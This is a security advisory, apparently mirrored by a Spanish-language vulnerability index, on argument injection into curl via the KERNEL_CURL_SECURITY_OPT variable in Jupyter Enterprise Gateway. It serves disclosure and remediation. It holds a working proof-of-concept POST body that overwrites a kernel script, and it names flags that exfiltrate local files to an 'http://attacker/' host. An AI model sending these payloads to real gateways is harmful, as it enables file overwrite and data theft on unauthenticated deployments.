GHSA-CHG9-78G7-W373
Argument injection into curl via client-controlled KERNEL_CURL_SECURITY_OPT in ConductorClusterProcessProxy
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CHG9-78G7-W373 divulgada · CVSS 9.4 (GitHub) | |
| Remediación | Parche 3.4.0 | jupyter_enterprise_gateway · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
On IBM Spectrum Conductor deployments (`ConductorClusterProcessProxy`), the client-controlled kernel environment variable `KERNEL_CURL_SECURITY_OPT` is whitespace-`.split()` and each resulting token is spliced verbatim into a `curl` argument vector (`cmd[2:2] = sslconf`), then executed via `subprocess.Popen(cmd)` (no shell) as the gateway service account during normal kernel lifecycle. A client of `POST /api/kernels` therefore fully controls arbitrary, independent `curl` flags — an argument-injection primitive. By default the gateway ships with `eg_auth_token = ""` (auth disabled), so the entry point is reachable unauthenticated.
## Root Cause
`_build_kernel_env` (`enterprise_gateway/services/kernels/handlers.py`) copies every `KERNEL_*` key from the request body into the launch environment. On the latest release (v3.3.0) the only checks are `isinstance(str)` and `len <= 4096` — no character filtering at all. (On unreleased HEAD a `PROHIBITED_ENV_VALUE_CHARS = frozenset("$`\n\r\x00")` filter exists, but it contains neither `-` nor space, so it does not block curl-flag injection either.) The value flows into `ConductorClusterProcessProxy`, where at five sites in `conductor.py` (L171/504/535/611/689) the code does `sslconf = env["KERNEL_CURL_SECURITY_OPT"].split()` then `cmd[2:2] = sslconf` and `subprocess.Popen(cmd, ...)`. Tokens are inserted as separate argv elements with no leading-dash rejection and no curl-flag allowlist.
## Impact
Argument injection into `curl` executed as the gateway service account (NOT shell RCE — `subprocess.Popen(list)` has no shell). curl honors these flags regardless of position in the argv:
- `-o <path>` — write the HTTP response body to an arbitrary host path (arbitrary-path file write / overwrite).
- `-K`/`--config <path>` — load an arbitrary file as curl config directives (file read / output redefinition).
- `-T <file>` / `-d @<file>` combined with an injected `--url http://attacker/` token — upload/exfiltrate an arbitrary gateway-readable local file.
Integrity impact is high (attacker chooses the overwritten path); confidentiality is at least low (file read via config/exfil).
Proof of Concept
POST /api/kernels
{"name":"spark_python_conductor_cluster",
"env":{"KERNEL_CURL_SECURITY_OPT":"-o /usr/local/share/jupyter/kernels/x/bin/run.sh",
"KERNEL_NOTEBOOK_DATA_DIR":"/tmp","KERNEL_NOTEBOOK_COOKIE_JAR":"c"}}The spliced argv becomes `curl -v -o /usr/local/share/jupyter/kernels/x/bin/run.sh -b c -X GET ...` and curl writes the response body to the attacker-chosen path.
## Attack Chain
1. Entry: `POST /api/kernels` with `env.KERNEL_CURL_SECURITY_OPT = "-o /path/x"`, reaching `MainKernelHandler.post` (handlers.py:95).
- Guard: `TokenAuthorizationMixin.prepare` (mixins.py). Bypass proof: `eg_auth_token` default `""` ⇒ authorization is a no-op ⇒ unauthenticated by default.
2. Filter: `_build_kernel_env` (handlers.py:50) copies all `KERNEL_*` keys.
- Guard: on v3.3.0 only `isinstance(str)` + `len<=4096` (no char filter); on HEAD `PROHIBITED_ENV_VALUE_CHARS = frozenset("$`\n\r\x00")`. Bypass proof: the frozenset contains neither `-` nor space (verified), so curl flags pass on every version.
3. Propagation: value stored verbatim into launch env → `self.env = kwargs["env"]` on `ConductorClusterProcessProxy` (conductor.py:60).
4. Sink: `sslconf = env["KERNEL_CURL_SECURITY_OPT"].split()` (conductor.py:171/504/535/611/689) → `cmd[2:2] = sslconf` (L176 etc.) → `subprocess.Popen(cmd, ...)` (L179 etc.), reached during launch (`_update_notebook_master_rest_url`), poll (`_query_app_by_driver_id`), and kill (`_kill_app_by_driver_id`).
- Guard: none — no leading-dash rejection, no curl-flag allowlist, no shell. Bypass proof: `["-o","/path"]` spliced at index 2 → `curl -v -o /path -b jar -X GET ...`; curl honors `-o` regardless of position → body written to `/path`.
5. Impact: arbitrary file write / local-file read / exfil as the gateway service account on the Conductor gateway host.
## Bypass Evidence
- `PROHIBITED_ENV_VALUE_CHARS = frozenset("$`\n\r\x00")` (HEAD only) — verified contains no `-`, no space; v3.3.0 has no filter at all.
- Sink is `subprocess.Popen(list)` at 5 sites — no `shell=True`, no `/bin/sh` — therefore argument injection, correctly scoped to curl's flag semantics (not shell RCE).
- `git log v3.3.0..HEAD -- conductor.py` is empty — sink present and unfixed on latest release and HEAD; no existing advisory touches this variable/sink.
## Affected Versions
`<= 3.3.0` (latest release). Also unfixed on `main` (HEAD 3.4.0.dev0) — the HEAD `PROHIBITED_ENV_VALUE_CHARS` filter permits `-` and space and does not block curl-flag injection.
## Suggested Fix
Stop `.split()`-ing the client-supplied `KERNEL_CURL_SECURITY_OPT` value into the argv. Either source curl SSL options server-side only, or validate the value against an allowlist of expected curl SSL flags (e.g. `--cacert`, `--cert`, `--key`) and reject any other/unexpected tokens.
---
Reported by zx (Jace) — GitHub: @manus-use
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypijupyter_enterprise_gateway |
Corregida | 3.4.0 | 0 d | 3.4.0 no afectada |
3.4.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-chg9-78g7-w373Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
